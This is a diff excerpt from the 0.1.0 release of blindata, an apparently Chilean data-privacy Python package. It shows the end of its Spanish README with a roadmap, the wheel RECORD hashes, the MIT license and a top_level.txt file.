| Tests pytest + CI GitHub Actions | ✅ v0.1.0 |
|
|
147
|
+
| `SECURITY.md` con política de divulgación | ✅ v0.1.0 |
|
|
148
|
+
| Auditoría de seguridad (14 vulnerabilidades corregidas) | ✅ v0.1.0 |
|
|
149
|
+
| Pro: 12 detectores + clasificación + PDF | 🚧 En desarrollo |
|
|
150
|
+
| Dashboard web (React) | 🚧 En desarrollo |
|
|
151
|
+
| Soporte multi-ley (21.719, 21.663, 20.584) | 🚧 En desarrollo |
|
|
152
|
+
| Internacionalización (Colombia, Perú, México) | 🔮 |
|
|
153
|
+
|
|
154
|
+
---
|
|
155
|
+
|
|
156
|
+
## Contribuir
|
|
157
|
+
|
|
158
|
+
Ver [CONTRIBUTING.md](CONTRIBUTING.md). Para vulnerabilidades de seguridad, ver [SECURITY.md](SECURITY.md).
|
|
159
|
+
|
|
160
|
+
## Licencia
|
|
161
|
+
|
|
162
|
+
[MIT](LICENSE). El paquete propietario `blindata-pro` (closed source) tiene licencia comercial y se distribuye solo con el SaaS.
|
|
163
|
+
|
|
164
|
+
## Autora
|
|
165
|
+
|
|
166
|
+
**Daniela Inostroza** — Noesis SpA
|
|
167
|
+
[blindata.cl](https://blindata.cl)
|
|
168
|
+
|
|
169
|
+
---
|
|
170
|
+
|
|
171
|
+
*Una línea de código entre tu análisis y una multa.*
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
blindata/__init__.py,sha256=4DKv7nXnONQaya7bZeqUO-KwhV_rp_CDLoDxLN2Avk0,628
|
|
2
|
+
blindata/core.py,sha256=gEOP5a-hRee1Mr2UFfj4WRP93XDo-VABOBPGpU9mRM8,16325
|
|
3
|
+
blindata/protector.py,sha256=fw43Cp24aftxo3Ebf3DdKk0rvS1u_lplYFvmOZ3RMsw,6419
|
|
4
|
+
blindata/scanner.py,sha256=DxIUOAsz0r4aEb1EqdS9daKaH0WHJmY_mRHy5HfDaC4,14804
|
|
5
|
+
blindata-0.1.0.dist-info/licenses/LICENSE,sha256=WSE9mkGMOlw5YKfNxP4MkPRKmx5znWtGl7OZnBxuFGk,1087
|
|
6
|
+
blindata-0.1.0.dist-info/METADATA,sha256=csNN9YChjF-NiZgdog60z_L7ZbuJiMfo6mRovvodnzg,6625
|
|
7
|
+
blindata-0.1.0.dist-info/WHEEL,sha256=K260EYznzXsJYBQGqmI8VTxEdiZYNvDZwW9cBh9-_MA,91
|
|
8
|
+
blindata-0.1.0.dist-info/top_level.txt,sha256=0BKG6BJKrHIuC8t-0w_ckUJLLvF9fhZ2XZkVJ5CL2BE,9
|
|
9
|
+
blindata-0.1.0.dist-info/RECORD,,
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Daniela Inostroza — Blindata
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
blindata
|